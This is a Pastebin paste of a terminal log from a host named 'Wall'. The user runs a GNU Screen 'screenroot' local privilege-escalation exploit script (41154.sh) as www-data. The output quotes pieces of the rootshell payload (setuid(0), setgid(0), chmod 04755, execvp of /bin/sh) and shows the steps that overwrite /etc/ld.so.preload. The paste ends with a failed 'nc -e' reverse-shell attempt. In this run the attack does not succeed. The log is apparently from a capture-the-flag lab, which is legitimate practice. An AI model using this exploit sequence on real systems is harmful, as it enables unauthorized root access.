Advertisement
Guest User

Untitled

a guest
Nov 15th, 2019
112
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.88 KB | None | 0 0
  1. www-data@Wall:/tmp$ ./41154.sh
  2. ./41154.sh
  3. ~ gnu/screenroot ~
  4. [+] First, we create our shell and library...
  5. /tmp/libhax.c: In function ‘dropshell’:
  6. /tmp/libhax.c:7:5: warning: implicit declaration of function ‘chmod’; did you mean ‘chroot’? [-Wimplicit-function-declaration]
  7. chmod("/tmp/rootshell", 04755);
  8. ^~~~~
  9. chroot
  10. /tmp/rootshell.c: In function ‘main’:
  11. /tmp/rootshell.c:3:5: warning: implicit declaration of function ‘setuid’; did you mean ‘setbuf’? [-Wimplicit-function-declaration]
  12. setuid(0);
  13. ^~~~~~
  14. setbuf
  15. /tmp/rootshell.c:4:5: warning: implicit declaration of function ‘setgid’; did you mean ‘setbuf’? [-Wimplicit-function-declaration]
  16. setgid(0);
  17. ^~~~~~
  18. setbuf
  19. /tmp/rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’; did you mean ‘setbuf’? [-Wimplicit-function-declaration]
  20. seteuid(0);
  21. ^~~~~~~
  22. setbuf
  23. /tmp/rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
  24. setegid(0);
  25. ^~~~~~~
  26. /tmp/rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
  27. execvp("/bin/sh", NULL, NULL);
  28. ^~~~~~
  29. /usr/bin/ld: cannot open output file /tmp/rootshell: Permission denied
  30. collect2: error: ld returned 1 exit status
  31. [+] Now we create our /etc/ld.so.preload file...
  32. [+] Triggering...
  33. ' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
  34. [+] done!
  35. No Sockets found in /tmp/screens/S-www-data.
  36.  
  37. nc: invalid option -- 'e'
  38. usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]
  39. [-m minttl] [-O length] [-P proxy_username] [-p source_port]
  40. [-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout]
  41. [-X proxy_protocol] [-x proxy_address[:port]] [destination] [port]
  42. www-data@Wall:/tmp$
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement